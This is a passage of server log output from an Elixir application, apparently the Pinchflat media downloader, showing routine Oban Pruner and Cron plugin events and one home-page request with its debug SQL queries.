{"source":"oban","duration":1303,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:32.031 [info] {"source":"oban","duration":1085,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.883 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:33:02.033 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:32.035 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.884 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:34:02.037 [info] {"source":"oban","duration":1339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:32.039 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.885 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:35:02.041 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:32.043 [info] {"source":"oban","duration":1427,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.886 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:36:02.045 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:32.047 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.887 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:37:02.049 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:32.051 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:00.888 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:38:02.053 [info] {"source":"oban","duration":1271,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:38:32.055 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:00.889 [info] {"source":"oban","duration":280,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:39:02.057 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:39:32.059 [info] {"source":"oban","duration":1262,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:00.890 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:40:02.061 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:40:32.063 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:00.891 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:41:02.065 [info] {"source":"oban","duration":1358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:41:32.067 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:00.892 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:42:02.069 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:42:32.071 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:00.893 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:43:02.073 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:43:32.075 [info] {"source":"oban","duration":1317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:00.894 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:44:02.077 [info] {"source":"oban","duration":1260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:44:32.079 [info] {"source":"oban","duration":1584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:00.895 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:45:02.082 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:45:32.084 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:00.896 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:46:02.086 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:46:32.088 [info] {"source":"oban","duration":1051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:00.897 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:47:02.090 [info] {"source":"oban","duration":1160,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:47:32.092 [info] {"source":"oban","duration":1236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:00.898 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:48:02.094 [info] {"source":"oban","duration":1341,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:48:32.096 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:00.899 [info] {"source":"oban","duration":324,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:49:02.098 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:49:32.100 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.900 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:50:02.102 [info] {"source":"oban","duration":1538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:32.104 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.901 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:51:02.106 [info] {"source":"oban","duration":1698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:32.108 [info] {"source":"oban","duration":1428,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.902 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:52:02.110 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:32.112 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.903 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:53:02.114 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:32.116 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.904 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:54:02.118 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:32.120 [info] {"source":"oban","duration":1703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.905 [info] {"source":"oban","duration":214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:55:02.123 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:32.125 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.906 [info] {"source":"oban","duration":372,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:56:02.127 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:32.129 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.907 [info] {"source":"oban","duration":362,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:57:02.131 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:32.133 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.908 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:58:02.135 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:32.137 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.909 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 04:59:02.139 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:32.141 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.910 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:00:02.144 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:32.146 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.912 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:01:02.148 [info] {"source":"oban","duration":1134,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:32.150 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.913 [info] {"source":"oban","duration":270,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:02:02.152 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:32.154 [info] {"source":"oban","duration":1392,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.914 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:03:02.156 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:32.158 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.915 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:04:02.160 [info] {"source":"oban","duration":1505,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:32.162 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.916 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:05:02.164 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:32.166 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.917 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:06:02.168 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:32.170 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.918 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:07:02.172 [info] {"source":"oban","duration":1814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:32.175 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.919 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:08:02.177 [info] {"source":"oban","duration":1381,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:32.179 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.920 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:09:02.181 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:32.183 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.921 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:10:02.185 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:32.187 [info] {"source":"oban","duration":991,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.922 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:11:02.189 [info] {"source":"oban","duration":1113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:32.191 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:46.238 [info] GET / 05:11:46.238 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:11:46.239 [debug] QUERY OK source="settings" db=0.2ms idle=558.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:11:46.239 [debug] QUERY OK source="media_profiles" db=0.2ms idle=559.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:11:46.240 [debug] QUERY OK source="sources" db=0.1ms idle=559.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:11:46.241 [debug] QUERY OK source="media_items" db=0.9ms idle=559.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:11:46.242 [debug] QUERY OK source="media_items" db=0.6ms idle=283.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:11:46.242 [debug] QUERY OK source="settings" db=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:11:46.243 [debug] QUERY OK source="settings" db=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:11:46.244 [debug] QUERY OK source="settings" db=0.1ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:11:46.245 [debug] QUERY OK source="tasks" db=0.4ms idle=4.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:11:46.247 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:11:46.248 [debug] QUERY OK source="media_items" db=0.8ms idle=4.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:11:46.249 [debug] QUERY OK source="sources" db=0.4ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [4, 5] 05:11:46.254 [debug] QUERY OK source="media_items" db=1.2ms idle=9.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:11:46.256 [debug] QUERY OK source="media_items" db=1.3ms idle=9.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:11:46.257 [debug] QUERY OK source="sources" db=0.3ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 05:11:46.260 [info] Sent 200 in 22ms 05:12:00.923 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:12:02.193 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:32.195 [info] {"source":"oban","duration":1084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.924 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:13:02.197 [info] {"source":"oban","duration":1042,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:32.199 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.925 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:14:02.201 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:32.203 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:00.926 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:15:02.205 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:15:32.207 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:00.927 [info] {"source":"oban","duration":369,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:16:02.209 [info] {"source":"oban","duration":1701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:16:32.212 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:00.928 [info] {"source":"oban","duration":348,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:17:02.214 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:17:32.216 [info] {"source":"oban","duration":1154,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:00.929 [info] {"source":"oban","duration":530,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:18:02.218 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:18:32.220 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:00.931 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:19:02.222 [info] {"source":"oban","duration":1495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:19:32.224 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:00.932 [info] {"source":"oban","duration":393,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:20:02.227 [info] {"source":"oban","duration":1177,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:20:32.229 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:00.933 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:21:02.231 [info] {"source":"oban","duration":1308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:21:32.233 [info] {"source":"oban","duration":1027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:00.934 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:22:02.235 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:22:32.237 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:00.935 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:23:02.239 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:23:32.241 [info] {"source":"oban","duration":1526,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:00.936 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:24:02.243 [info] {"source":"oban","duration":1411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:24:32.245 [info] {"source":"oban","duration":1213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:00.937 [info] {"source":"oban","duration":419,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:25:02.247 [info] {"source":"oban","duration":1700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:25:32.249 [info] {"source":"oban","duration":1638,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:00.938 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:26:02.251 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:26:32.253 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:00.939 [info] {"source":"oban","duration":458,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:27:02.255 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:27:32.257 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:00.940 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:28:02.259 [info] {"source":"oban","duration":1292,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:28:32.261 [info] 